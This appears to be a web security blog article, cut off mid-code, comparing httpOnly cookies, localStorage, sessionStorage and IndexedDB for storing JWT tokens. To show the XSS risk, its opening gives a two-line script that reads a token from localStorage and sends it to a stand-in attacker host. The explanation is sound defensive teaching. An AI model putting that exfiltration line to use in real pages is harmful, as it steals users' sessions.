Where Should I Store JWT Tokens? Cookies vs localStorage
\"Where should I store a JWT token\" is really a security question in disguise. httpOnly cookies hide the token from JavaScript; localStorage leaves it readable by any script on the page. This comparison scores all four browser stores — cookies, localStorage, sessionStorage, IndexedDB — and gives a…
Where should I store a JWT token? If your answer is "localStorage, because every tutorial does it that way," you have already made a security decision without realizing it. Picture this: a single cross-site scripting (XSS) hole — a compromised npm dependency, one unsanitized comment field — and an attacker's script runs two lines of JavaScript in your users' browsers: const token = localStorage.getItem("token"); fetch("https://evil.example/steal?token=" + token); Every session, gone, in milliseconds. The token format was never the problem. The *storage* was. This article compares all four places a browser can hold a token — httpOnly cookies, localStorage, sessionStorage, and IndexedDB — and ends with a verdict for every scenario, including the two nuances most tutorials skip. Where should I store JWT token? The choice, stated plainly You are choosing between two fundamentally different trade-offs: Storage JavaScript can read (localStorage, sessionStorage, IndexedDB) — convenient, manual header wiring, but fully exposed to XSS. Storage JavaScript cannot read (httpOnly cookies) — the browser guards the token for you, at the cost of handling CSRF instead. There is no option that is both XSS-proof and CSRF-proof. You are picking which attack you defend against with platform help and which you handle yourself. Let's score each option honestly. Option A — httpOnly cookies: strengths and weaknesses An httpOnly cookie is set by your server and is invisible to JavaScript — document.cookie cannot see it, and neither can any injected script. The browser attaches it to requests automatically. A minimal login response in Express (Node 22 LTS): // server.js — Express (Node 22 LTS) app.post("/login", async (req, res) => { const jwt = await…